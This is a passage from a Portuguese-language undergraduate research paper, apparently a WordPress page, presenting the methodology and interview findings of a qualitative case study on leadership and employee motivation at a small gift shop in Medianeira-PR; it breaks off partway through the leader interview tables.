<p class="wp-block-paragraph">Para definir o instrumento de medição, Pasquali (2010) destaca que o modelo constitutivo é importante, pois ele explica o aspecto em termos de significado e estabelece uma base teórica sólida. Já a definição operacional tornou-se algo concreto, sendo essencial para garantir a eficiência do instrumento. Essa definição precisa operacional ser capaz de abranger e representar a estrutura de forma abrangente, pois são essas definições que validam as características do específico. &nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1 &#8211; Definições constitutivas e operacionais</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><strong>TERMOS </strong>&nbsp;</td><td><strong>DEFINIÇÃO CONSTITUTIVA </strong>&nbsp;</td><td><strong>DEFINIÇÃO OPERACIONAL </strong>&nbsp;</td></tr><tr><td>&nbsp;&nbsp;Liderança</td><td>Segundo Chiavenato (2014), a liderança é vista como a capacidade de influenciar e orientar pessoas para o alcance dos objetivos organizacionais, utilizando-se de diferentes estilos e estratégias conforme a situação e as características dos liderados.&nbsp;</td><td>Trata-se da capacidade de guiar e motivar indivíduos dentro de um grupo, direcionando suas ações para atingir metas compartilhadas.&nbsp;</td></tr><tr><td>&nbsp;&nbsp;&nbsp;Motivação</td><td>De acordo com Chiavenato (2010), a motivação está intimamente relacionada a fatores intrínsecos e extrínsecos, influenciando diretamente o comportamento das pessoas no ambiente de trabalho. Para ele, a motivação envolve a busca por crescimento pessoal e reconhecimento profissional, sendo essencial para entender como os colaboradores se comportam e como as organizações podem melhorar o clima organizacional e o desempenho das equipes ao atender essas necessidades.&nbsp;</td><td>A motivação é um fenômeno complexo que resulta da interação entre fatores internos, como personalidade e crenças, e fatores externos, como ambiente e recompensas. Ela pode ser influenciada por diferentes aspectos, incluindo valores pessoais, expectativas e o contexto em que o indivíduo está inserido.&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Autor da pesquisa (2025)                               continua                                 </p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1</strong> &#8211; Definições constitutivas e operacionais</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><strong>TERMOS </strong>&nbsp;</td><td><strong>DEFINIÇÃO CONSTITUTIVA </strong>&nbsp;</td><td><strong>DEFINIÇÃO OPERACIONAL </strong>&nbsp;</td></tr><tr><td>&nbsp;&nbsp;Líderes eficazes&nbsp;</td><td>De acordo com Elmuti <em>et al.</em> (2023), líderes eficazes demonstram habilidades que vão além da comunicação e da tomada de decisões, promovendo um ambiente colaborativo e focado no desenvolvimento contínuo. Esses líderes criam um contexto de confiança, capacitação e mentoria, o que resulta em um impacto positivo no engajamento e na retenção de talentos dentro das organizações.&nbsp;</td><td>Liderança eficaz é a habilidade de orientar pessoas de maneira estratégica, influenciando-as a alcançar os resultados esperados e objetivos estabelecidos pela organização.&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Autor da pesquisa (2025)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conclusão</p>



<p class="wp-block-paragraph">3.2&nbsp; CLASSIFICAÇÃO DA PESQUISA&nbsp;</p>



<p class="wp-block-paragraph">Para alcançar os objetivos da pesquisa, foram utilizadas as seguintes classificações metodológicas. &nbsp;</p>



<p class="wp-block-paragraph"><strong>3.2.1&nbsp; Finalidade da Pesquisa&nbsp;</strong></p>



<p class="wp-block-paragraph">Em termos de finalidade, trata-se de uma pesquisa de natureza aplicada.&nbsp;</p>



<p class="wp-block-paragraph">Segundo Marconi e Lakatos (2018), a pesquisa aplicada se distingue por seu caráter prático, pois busca gerar conhecimentos que possam ser diretamente utilizados para solucionar problemas específicos em contextos reais. Os autores supracitados explicam que essa modalidade de pesquisa tem como objetivo principal a aplicação de conceitos teóricos para desenvolver soluções práticas, facilitando a tomada de decisões e o aprimoramento de processos em diferentes áreas do conhecimento. &nbsp;</p>



<p class="wp-block-paragraph">Conforme Marotti de Mello e Thomaz Wood Jr. (2019), a pesquisa aplicada busca adquirir novos conhecimentos com o objetivo de resolver problemas práticos, utilizando metodologias específicas para alcançar soluções que possam ser implementadas na prática. Essa forma de pesquisa se diferencia por sua orientação prática, focando em necessidades reais e contribuindo para a inovação e o desenvolvimento de soluções em diversos setores, como indústria, saúde e educação. O foco é criar conhecimento que possa ser diretamente aplicado, contribuindo para o avanço de áreas específicas e impactando positivamente a sociedade e a economia. &nbsp;</p>



<p class="wp-block-paragraph">Por meio das análises conduzidas pela pesquisa aplicada, que tem como propósito principal fornecer soluções práticas e imediatas para problemas identificados na realidade, foi possível abordar pontos fracos levantados no estudo. A pesquisa também auxiliou a empresa a aprimorar sua atenção em relação aos colaboradores, destacando os impactos que a liderança exerce sobre a motivação dos colaboradores, com o objetivo de promover melhorias na comunicação e no bem-estar no ambiente de trabalho. &nbsp;</p>



<p class="wp-block-paragraph"><strong>3.2.3&nbsp; Forma de Abordagem&nbsp;</strong></p>



<p class="wp-block-paragraph">Em termos e abordagem, trata-se de uma pesquisa qualitativa. &nbsp;</p>



<p class="wp-block-paragraph">Segundo Sampaio <em>et al.</em> (2022), a pesquisa qualitativa se caracteriza pela coleta de dados em ambientes naturais, priorizando o entendimento dos fenômenos a partir de um olhar interpretativo e subjetivo. O pesquisador desempenha um papel central como instrumento de observação e análise, direcionando o estudo com base nas interações e contextos específicos que emergem do campo, utilizando abordagens indutivas para construir significados e teorias a partir das evidências coletadas (Sampaio <em>et al.</em>, 2022). &nbsp;</p>



<p class="wp-block-paragraph">Conforme Souza<em> et al. </em>(2021), a análise qualitativa foca em compreender fenômenos e categorizar os dados a partir das interações e contextos observados, sem se preocupar com a quantificação de parâmetros. O objetivo é explorar a complexidade dos processos sociais e comportamentais, utilizando abordagens que permitam interpretar os significados e construir uma narrativa aprofundada sobre os temas estudados. Esse método se distingue por proporcionar uma visão holística e subjetiva do objeto de pesquisa (Souza <em>et al</em>., 2021). &nbsp;</p>



<p class="wp-block-paragraph">Neste estudo, foi adotada uma abordagem qualitativa com o objetivo de compreender tendências de pensamento e captar as opiniões dos participantes. Para isso, será feita uma coleta de dados por meio de uma entrevista semiestruturada aos colaboradores da Laçarote Presentes e Decorações, permitindo que compartilhem suas percepções sobre o tema abordado. &nbsp;</p>



<p class="wp-block-paragraph"><strong>3.2.4&nbsp; Objetivos&nbsp;</strong></p>



<p class="wp-block-paragraph">Em termos de objetivos, trata-se de pesquisa exploratória e descritiva. &nbsp;</p>



<p class="wp-block-paragraph">De acordo com Wottrich <em>et al.</em> (2021), a pesquisa exploratória tem como propósito desenvolver e esclarecer conceitos, proporcionando uma maior familiaridade com o problema estudado. Esse tipo de pesquisa é caracterizado pela flexibilidade em seu planejamento e pela abrangência em abordar diferentes aspectos do fenômeno investigado, com o intuito de tornar o tema mais explícito e facilitar a formulação de hipóteses para estudos futuros (Wottrich <em>et al</em>., 2021). &nbsp;</p>



<p class="wp-block-paragraph">Segundo Alencar, Lima e Araújo (2023), a pesquisa descritiva tem como objetivo descrever as características de determinada população ou fenômeno, utilizando dados coletados em um espaço e tempo específicos. Essa metodologia permite identificar relações entre variáveis e fornece uma visão geral do objeto de estudo, facilitando o desenvolvimento de novas hipóteses e o aprofundamento do conhecimento sobre o tema investigado. O planejamento desse tipo de pesquisa tende a ser flexível para abarcar as diversas nuances e variáveis envolvidas no fenômeno analisado. &nbsp;</p>



<p class="wp-block-paragraph">A pesquisa exploratória busca aprofundar o entendimento sobre o tema, identificando possíveis causas e motivos de insatisfação relatados pelos colaboradores de forma ampla e flexível, considerando diferentes perspectivas. Posteriormente, a pesquisa descritiva será direcionada para destacar características específicas dos colaboradores, com foco em pontos detalhados que permitam identificar padrões e comportamentos comuns no grupo analisado. &nbsp;</p>



<p class="wp-block-paragraph"><strong>3.2.5&nbsp; Procedimentos Técnicos&nbsp;</strong></p>



<p class="wp-block-paragraph">Foram adotadas as seguintes abordagens técnicas: pesquisa bibliográfica, levantamento de dados e análise por meio de estudo de caso. &nbsp;</p>



<p class="wp-block-paragraph">Segundo Cunha <em>et al.</em> (2024), a pesquisa bibliográfica visa compreender e analisar um problema com base em contribuições teóricas já publicadas em livros, artigos e outros materiais acadêmicos. Esse tipo de pesquisa permite reunir diferentes abordagens e perspectivas sobre um tema, proporcionando uma visão mais completa e embasada do problema em questão e contribuindo para o desenvolvimento do conhecimento científico e cultural ao relacionar diferentes conceitos e teorias existentes (Cunha <em>et al</em>., 2024). &nbsp;</p>



<p class="wp-block-paragraph">Conforme Piana (2023), a pesquisa bibliográfica é utilizada para sustentar a compreensão de um problema por meio de referências teóricas já publicadas em diferentes fontes, como livros e artigos. Essa abordagem é comum na maioria dos trabalhos acadêmicos e, muitas vezes, é a única metodologia empregada. Ela serve para reunir conhecimentos prévios e fundamentar o estudo, permitindo uma visão ampla e crítica sobre o tema abordado (Piana, 2023). &nbsp;</p>



<p class="wp-block-paragraph">A pesquisa bibliográfica foi empregada para embasar o estudo sobre o clima organizacional e o nível de satisfação dos colaboradores na empresa, considerando suas percepções e opiniões sobre esses aspectos. &nbsp;</p>



<p class="wp-block-paragraph">Segundo Koide e Tortella (2023), a pesquisa de levantamento consiste em aplicar perguntas diretas a um grupo de pessoas sobre o tema em estudo, facilitando a identificação de padrões de comportamento, atitudes e opiniões. Esse método é vantajoso por oferecer uma coleta de dados precisa e acessível em termos de custo, permitindo aos pesquisadores obterem informações valiosas para análise e interpretação do fenômeno investigado (Koide; Tortella, 2023). &nbsp;</p>



<p class="wp-block-paragraph">A realização dessa pesquisa contribui significativamente para o desenvolvimento do trabalho, pois possibilitará compreender melhor as opiniões e comportamentos dos colaboradores sobre o tema abordado. Dessa forma, será possível coletar dados precisos e relevantes, garantindo uma análise mais detalhada e fundamentada sobre a questão estudada. &nbsp;</p>



<p class="wp-block-paragraph">Conforme Cunha<em> et al</em>. (2024), o método de estudo de caso se concentra na análise de situações reais, buscando aplicar conceitos teóricos de forma prática. &nbsp;</p>



<p class="wp-block-paragraph">Essa abordagem permite compreender detalhadamente problemas específicos e realizar diagnósticos precisos, fornecendo uma base sólida para a resolução de desafios que envolvem fatos concretos e contextos reais, o que a torna uma ferramenta valiosa para estudos que necessitam de uma aplicação prática dos conhecimentos adquiridos.  </p>



<p class="wp-block-paragraph">Este estudo oferece uma visão completa sobre o problema de pesquisa ao explorar e analisar as dificuldades concretas enfrentadas pelos colaboradores. O objetivo é adotar uma abordagem integrada para esclarecer as variáveis que influenciam o tema em questão e compreender melhor as causas envolvidas. &nbsp;</p>



<p class="wp-block-paragraph">3.3&nbsp; CENSO&nbsp;</p>



<p class="wp-block-paragraph">Fitzpatrick, Sanders e Worthen (2004) discutem que a definição das unidades de análise é fundamental para garantir que os processos de avaliação e pesquisa sejam claros e objetivos, permitindo a coleta de dados relevantes e consistentes para a análise do fenômeno estudado. &nbsp;</p>



<p class="wp-block-paragraph">Marilda Iamamoto e Raul de Carvalho (2014) ressaltam que a escolha adequada das unidades de análise facilita a compreensão dos aspectos qualitativos e quantitativos que compõem a dinâmica social e organizacional no ambiente de trabalho. &nbsp;</p>



<p class="wp-block-paragraph">Eni Puccinelli Orlandi (2019) reforça que as unidades de análise devem ser definidas considerando o contexto e as variáveis envolvidas, possibilitando uma interpretação coerente dos resultados obtidos a partir dos diferentes participantes do estudo. &nbsp;</p>



<p class="wp-block-paragraph">O presente trabalho foi abordado com o censo: &nbsp;</p>



<p class="wp-block-paragraph">A empresa estudada é classificada como de pequeno porte e possui um total de três colaboradores. Com isso, optou-se por aplicar uma entrevista semiestruturada com todos os membros, o que permitiu que o estudo obtivesse uma visão ampla e detalhada de cada participante, caracterizando a pesquisa como um censo devido à inclusão de todos os integrantes da organização. &nbsp;</p>



<p class="wp-block-paragraph">&nbsp;3.4&nbsp; DELINEAMENTO DA PESQUISA&nbsp;</p>



<p class="wp-block-paragraph">O delineamento de pesquisa é entendido como o planejamento abrangente que organiza os procedimentos metodológicos e as estratégias para coleta e análise de dados. De acordo com as definições mais atuais, ele considera o contexto em que os dados serão coletados e as variáveis que serão controladas, funcionando como um guia para a execução da pesquisa (Moretti, 2020; Gondim, Bastos; Peixoto, 2010).&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">Este estudo caracteriza-se como uma pesquisa bibliográfica, cujo objetivo é explorar o tema da liderança com base em obras e artigos já publicados. Além disso, serão realizadas entrevistas presenciais com um roteiro de perguntas semiestruturadas, aplicadas tanto aos gestores quanto aos colaboradores da empresa. A coleta de dados aconteceu em março de 2025, buscando compreender a percepção dos participantes sobre o papel da liderança no ambiente de trabalho.&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">3.5&nbsp; TÉCNICA E INSTRUMENTO DE PESQUISA&nbsp;</p>



<p class="wp-block-paragraph">Este estudo buscou analisar a influência da liderança na motivação dos colaboradores de uma empresa localizada em Medianeira-PR. Para isso, foram realizadas entrevistas semiestruturadas, com o objetivo de compreender mais a fundo a abordagem organizacional adotada. As entrevistas ocorreram no primeiro semestre de 2025 e foram guiadas por um roteiro composto por 10 perguntas em forma de entrevista aberta, abordando diferentes aspectos relacionados ao ambiente de trabalho. &nbsp;</p>



<p class="wp-block-paragraph">As perguntas do roteiro foram desenvolvidas com base em fatores considerados essenciais para investigar como a liderança impacta a motivação dos colaboradores, permitindo identificar pontos fortes e oportunidades de melhoria na gestão da empresa. &nbsp;</p>



<p class="wp-block-paragraph">Segundo Oliveira (2022), a entrevista semiestruturada é uma técnica de coleta de dados que combina perguntas planejadas com a possibilidade de explorar novas direções durante a conversa. Esse método permite que o pesquisador capture as opiniões e percepções dos participantes de maneira mais natural e espontânea, oferecendo flexibilidade na abordagem e na ordem das perguntas, conforme o fluxo da entrevista. Dessa forma, é possível captar de maneira mais detalhada os aspectos subjetivos e contextuais que surgem durante o diálogo, enriquecendo os dados coletados. &nbsp;</p>



<p class="wp-block-paragraph">3.6&nbsp; PROCEDIMENTOS DE COLETA E TRATAMENTO DOS DADOS&nbsp;</p>



<p class="wp-block-paragraph">Neste estudo, as informações foram obtidas por meio de entrevistas semiestruturadas, com um roteiro que contém 20 perguntas abertas, sendo 10 perguntas para os colaboradores e 10 perguntas para o líder. A pesquisa foi realizada na empresa Laçarote Presentes e Decorações em março de 2025. A fim de analisar a relação entre liderança e motivação, utilizo uma abordagem qualitativa.&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">Os resultados foram apresentados por meio de quadros que sintetizam as respostas, permitindo uma comparação entre o que os participantes expressaram e as teorias existentes sobre o tema. Isso ajudará a entender como os colaboradores percebem e interpretam o conceito de motivação no ambiente de trabalho.&nbsp; &nbsp;</p>



<p class="wp-block-paragraph">3.7&nbsp; PERSPECTIVAS DO ESTUDO&nbsp;</p>



<p class="wp-block-paragraph">A pesquisa permitiu ao pesquisador adquirir um entendimento mais profundo sobre como a liderança afeta a motivação dos colaboradores. A metodologia escolhida auxiliou a empresa a identificar diferentes abordagens de liderança e suas influências no engajamento da equipe, o que pode representar um importante diferencial competitivo. Além disso, os resultados serviram de base para desenvolver estratégias de melhoria contínua e otimizar processos internos, fortalecendo a liderança e promovendo um ambiente de trabalho mais produtivo e motivado. &nbsp;</p>



<p class="wp-block-paragraph">3.8&nbsp; CONTRIBUIÇÕES TEÓRICAS&nbsp;</p>



<p class="wp-block-paragraph">A pesquisa em questão ofereceu uma compreensão abrangente e cientificamente embasada sobre o papel da liderança e seu efeito na motivação dos colaboradores. Além disso, destaca-se o aprendizado significativo que foi adquirido a respeito dos principais fatores que influenciam a liderança, assim como o impacto desses fatores na motivação da equipe. Esse conhecimento contribuirá para um entendimento mais profundo das dinâmicas entre liderança e motivação no ambiente de trabalho. &nbsp;</p>



<p class="wp-block-paragraph"><strong>4</strong>&nbsp; &nbsp; <strong>ANÁLISE DA PESQUISA</strong></p>



<p class="wp-block-paragraph">Neste capítulo, são apresentados os dados coletados a partir de um roteiro de entrevista semiestruturado. Este instrumento foi utilizado como base para o desenvolvimento do presente trabalho. &nbsp;</p>



<p class="wp-block-paragraph">As entrevistas foram realizadas com um grupo de 3 participantes, composto por 2 colaboradores e 1 líder atuante há 7 anos no mercado de empreendedorismo. &nbsp;</p>



<p class="wp-block-paragraph">O objetivo das entrevistas foi coletar informações e percepções que contribuíssem para uma análise aprofundada do tema em questão. &nbsp;</p>



<p class="wp-block-paragraph">4.1 PERFIL DOS RESPONDENTES</p>



<p class="wp-block-paragraph">A análise do perfil dos respondentes é formada pelas perguntas referente ao roteiro de pesquisa que compreendem: Idade, nível de formação acadêmica, tempo de trabalho na empresa.</p>



<p class="wp-block-paragraph">Por meio do processo de coleta e tratamento de dados, por meio do roteiro de perguntas realizado com 3 pessoas, sendo elas, 1 líder e 2 colaboradores, conforme o quadro.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 2 &#8211; Dados dos Entrevistados – Líder</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td>Idade</td><td>50 anos&nbsp;</td></tr><tr><td>Nível de formação acadêmica</td><td>Gestão Comercial</td></tr><tr><td>Tempo de empresa</td><td>7 anos&nbsp;</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">O quadro 2 apresenta o perfil do líder entrevistado, destacando informações sobre idade, formação acadêmica e tempo de empresa. A faixa etária do líder é de 50 anos. Em relação à formação acadêmica, o líder possui formação em gestão comercial. No que diz respeito ao tempo de empresa, observa-se que o líder possui seis anos de serviço, o que reflete uma experiência consolidada na organização.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 3- Dados dos Entrevistados – Colaboradores</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td>&nbsp;</td><td><strong>Entrevistado 1</strong></td></tr><tr><td>Idade</td><td>24 anos</td></tr><tr><td>Nível de formação acadêmica</td><td>Ensino médio completo</td></tr><tr><td>Tempo de empresa</td><td>2 anos</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 4 &#8211; Dados dos Entrevistados – Colaboradores</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td>&nbsp;</td><td><strong>Entrevistado 2</strong></td></tr><tr><td>Idade</td><td>45 anos</td></tr><tr><td>Nível de formação acadêmica</td><td>Ensino médio completo</td></tr><tr><td>Tempo de empresa</td><td>7 anos</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">Os quadros 3 e 4 apresentam o perfil dos colaboradores entrevistados, destacando aspectos como idade, nível de formação acadêmica e tempo de empresa, um colaborador possui 24 anos e o outro 45, o que reflete uma equipe relativamente jovem e experiente. No que se refere à formação acadêmica, os entrevistados possuem ensino médio completo. Quanto ao tempo de empresa, observa-se que um dos colaboradores possui apenas 2 anos de experiência, e o outro 7 anos atuando no ramo.</p>



<p class="wp-block-paragraph">4.2&nbsp; IDENTIFICAÇÃO DOS ESTILOS DE LIDERANÇA</p>



<p class="wp-block-paragraph">O tema apresentado a seguir é explorado por meio da seguinte indagação: &#8220;Com base nos estilos de liderança, qual ou quais estilos você acredita que seu líder&nbsp; adota?&#8221;.</p>



<p class="wp-block-paragraph">De maneira complementar, foi feita uma pergunta ao líder : &#8220;Quais estilos de liderança você acredita utilizar na empresa?&#8221;.</p>



<p class="wp-block-paragraph">O objetivo desses questionamentos é compreender como os estilos de liderança são percebidos tanto pelos colaboradores quanto pelo próprio líder, permitindo uma análise mais aprofundada das práticas de liderança na&nbsp; organização.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 5 &#8211; Identificação dos estilos de Liderança – Líder</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Considerando os diferentes estilos de liderança, pedimos que indique quais estilos de liderança você acredita utilizar em suas práticas na empresa?</td></tr><tr><td>Líder &nbsp;</td><td>Liderança transformacional e liderança eficaz</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 6 &#8211; Identificação dos estilos de Liderança – Colaboradores</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Fazendo uma abordagem sobre os estilos de liderança solicitamos que indique qual ou quais estilos de lideranças seus líderes se encaixam?</td></tr><tr><td>Colaborador 1</td><td>Liderança transformacional</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 7 &#8211; Identificação dos estilos de Liderança – Colaboradores</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Fazendo uma abordagem sobre os estilos de liderança solicitamos que indique qual ou quais estilos de lideranças seus líderes se encaixam?</td></tr><tr><td>Colaborador 2</td><td>Liderança transformacional e liderança eficaz</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">Os dados coletados no quadro 5, direcionado ao líder da Laçarote Presentes e Decorações, revelaram as percepções do próprio líder sobre os estilos de liderança que acreditam adotar. O Líder destacou os estilos de liderança transformacional e liderança situacional.</p>



<p class="wp-block-paragraph">Já as informações dos Quadro 6 e 7, baseadas nas respostas dos colaboradores, indicam que os estilos de liderança mais percebidos na empresa são: transformacional e eficaz. Esses resultados sugerem que o líder é receptivo a sugestões, participativo e capaz de inspirar sua equipe, promovendo um ambiente colaborativo e motivador.</p>



<p class="wp-block-paragraph">De acordo com Bass (2008), a liderança transformacional envolve a habilidade de inspirar e motivar os liderados, promovendo mudanças significativas por meio de uma visão compartilhada e do desenvolvimento pessoal e profissional dos colaboradores.</p>



<p class="wp-block-paragraph">De acordo com Northouse (2021), líderes transformacionais impactam positivamente o ambiente de trabalho ao promoverem atenção individualizada aos membros da equipe, incentivando o desenvolvimento pessoal, a confiança e a motivação, o que resulta em maior comprometimento e desempenho organizacional.</p>



<p class="wp-block-paragraph">De acordo com Blanchard <em>et al</em>. (2019), a liderança situacional se mostra eficaz ao adaptar o estilo do líder conforme o nível de maturidade e competência dos liderados, equilibrando o foco nas tarefas e no relacionamento para maximizar o desempenho e o engajamento.</p>



<p class="wp-block-paragraph">Entretanto, o impacto motivacional da liderança transformacional tende a ser mais profundo e duradouro, pois se concentra no desenvolvimento pessoal dos colaboradores e no fortalecimento das relações entre líderes e lideranças.</p>



<p class="wp-block-paragraph">4.3&nbsp; ENTREVISTA COM O LÍDER</p>



<p class="wp-block-paragraph">Para identificar o estilo de liderança praticado na empresa, é importante realizar perguntas específicas ao líder sobre seu comportamento e práticas dentro da organização. Isso permite compreender melhor como ele gerencia sua equipe e quais métodos utiliza para alcançar os objetivos da empresa. &nbsp;</p>



<p class="wp-block-paragraph">&nbsp;Dessa forma, foi elaborado um roteiro de perguntas semiestruturadas para o líder, que foram aplicadas por meio de entrevistas.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 8 &#8211; Características de um líder</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Quais características um líder deve ter para influenciar sua equipe?</td></tr><tr><td>Líder 1&nbsp;</td><td>“Inspirar e motivar a cada colaborador a alcançar as metas da empresa, promovendo inovação e desenvolvimento continuo”</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">Ao analisar as respostas dos gestores apresentadas no quadro 8, é evidente o comprometimento deles em colaborar para o sucesso da organização.</p>



<p class="wp-block-paragraph">Segundo Gerolamo, Bertassini e Ponce (2023), a liderança eficaz em processos de mudança organizacional envolve a definição clara da direção estratégica, a comunicação eficiente dos objetivos e a motivação dos colaboradores para alcançá-los.</p>



<p class="wp-block-paragraph">De acordo com Silva, Andrade e Camfield (2025), a liderança influencia diretamente o clima organizacional, sendo essencial que o líder promova um ambiente de trabalho positivo e mantenha um bom relacionamento com os colaboradores para garantir sua satisfação.</p>



<p class="wp-block-paragraph">Segundo Agostini (2023), líderes que tomam decisões alinhadas aos seus valores essenciais promovem autenticidade em suas ações, o que contribui para um ambiente de trabalho mais significativo e motivador para os colaboradores.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 9 &#8211; Desenvolvimento dos Colaboradores</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Como você, líder da Laçarote Presentes e Decorações contribui para o desempenho individual de cada colaborador?</td></tr><tr><td>Líder &nbsp;</td><td>“[…] Dando suporte e motivando cada colaborador para sua evolução e dando liberdade de inovação […].”</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">Com base na resposta do questionário quadro 9, observa-se que o líder da Laçarote Presentes e Decorações realiza um papel crucial no desempenho individual de seus colaboradores. O líder destaca a importância de fornecer suporte e motivação contínua, permitindo liberdade para inovação e estando sempre disponível para oferecer conselhos e assistência. &nbsp;</p>



<p class="wp-block-paragraph">Essa abordagem reflete um estilo de liderança que valoriza a comunicação aberta e o desenvolvimento pessoal, criando um ambiente onde os colaboradores se sentem apoiados e incentivados a alcançar seu potencial máximo.</p>



<p class="wp-block-paragraph">Segundo Gomes (2023), uma liderança autêntica, que valoriza a comunicação aberta e o desenvolvimento pessoal, é fundamental para criar um ambiente de trabalho onde os colaboradores se sintam apoiados e motivados a alcançar seu potencial máximo.</p>



<p class="wp-block-paragraph">De acordo com Barbosa, Gambi e Gerolamo (2017), o líder é responsável por planejar, organizar, comandar e controlar as atividades da equipe, conduzindo os colaboradores para alcançar objetivos que, muitas vezes, seriam considerados inatingíveis sem sua orientação.</p>



<p class="wp-block-paragraph">De acordo com Fernandes, Sant’Anna e Carletti (2021), líderes eficazes inspiram e motivam suas equipes, promovendo um ambiente de trabalho colaborativo e produtivo, enquanto chefes tendem a impor autoridade, o que pode resultar em um ambiente de tensão e insegurança.</p>



<p class="wp-block-paragraph">Assim, o verdadeiro líder não só motiva, como também direciona e transforma atitudes.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 10 &#8211; Dificuldades de comunicação</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Possui alguma dificuldade na comunicação com os membros da sua equipe? Explique</td></tr><tr><td>Líder &nbsp;</td><td>“[…] Às vezes possuo alguns desafios na comunicação […].”</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">De acordo com a resposta da entrevista do quadro 10, em alguns casos o líder possui dificuldade na comunicação</p>



<p class="wp-block-paragraph">A importância da comunicação nas empresas é fundamental para o sucesso organizacional. De acordo com Cavalcante (2008), a comunicação é fundamental para o funcionamento coeso, integrado e consistente de qualquer organização, influenciando diretamente no processo de tomada de decisões e no alcance dos resultados organizacionais.</p>



<p class="wp-block-paragraph">De acordo com Leal e Netto (2019), uma comunicação eficaz é essencial para o bom funcionamento das organizações, pois facilita a coordenação de atividades, a execução de estratégias e o alcance dos objetivos organizacionais.</p>



<p class="wp-block-paragraph">Segundo Torquato (2015), a comunicação organizacional desempenha um papel fundamental no equilíbrio, desenvolvimento e expansão das organizações, sendo considerada um poder expressivo que legitima e fortalece a atuação institucional. Dessa forma, a comunicação torna-se um elemento central para o alinhamento de objetivos e o fortalecimento da cultura organizacional.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 11 &#8211; Ambiente organizacional</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">De que maneira você cria um ambiente onde os colaboradores se sintam à vontade para compartilhar suas opiniões e ideias?</td></tr><tr><td>Líder &nbsp;</td><td>“[…]&nbsp; Através das reuniões, a qual incentivamos a todos mostrarem suas opiniões […]. ”</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">FONTE: Dados da pesquisa (2025)</p>



<p class="wp-block-paragraph">Por meio da resposta do quadro 11, o líder da Laçarote Presentes e Decorações relata criar um ambiente acolhedor para o compartilhamento de opiniões e ideias, principalmente por meio de reuniões. Nessas ocasiões, promove a troca aberta de ideias e incentiva todos os colaboradores a se expressarem livremente, garantindo um clima confortável para a participação de todos.</p>



<p class="wp-block-paragraph">Segundo Barros e Brondani (2016), uma comunicação corporativa eficaz é essencial para fortalecer a imagem da empresa, promovendo uma interação organizacional mais eficaz e contribuindo para o alcance dos objetivos e metas estabelecidos.</p>



<p class="wp-block-paragraph">Segundo Pontes (2001), a gestão de recursos humanos deve atuar não apenas na atração e retenção de talentos, mas também na promoção de um ambiente que incentive a troca de opiniões, visando ao alcance dos resultados organizacionais.</p>



<p class="wp-block-paragraph">Segundo Moran (2000), a compreensão das pessoas é fundamental para o estudo das organizações, especialmente no que diz respeito à administração e à evolução da comunicação interpessoal.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 12 &#8211; Disponibilidade do líder</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td colspan="2">Como você se certifica de que está disponível para oferecer suporte e orientação aos colaboradores quando necessário?</td></tr><tr><td>Líder &nbsp;</td><td>“[…] Dando meu máximo para a equipe e sempre estando disponível quando precisam […].”</td></tr></tbody></table></figure>



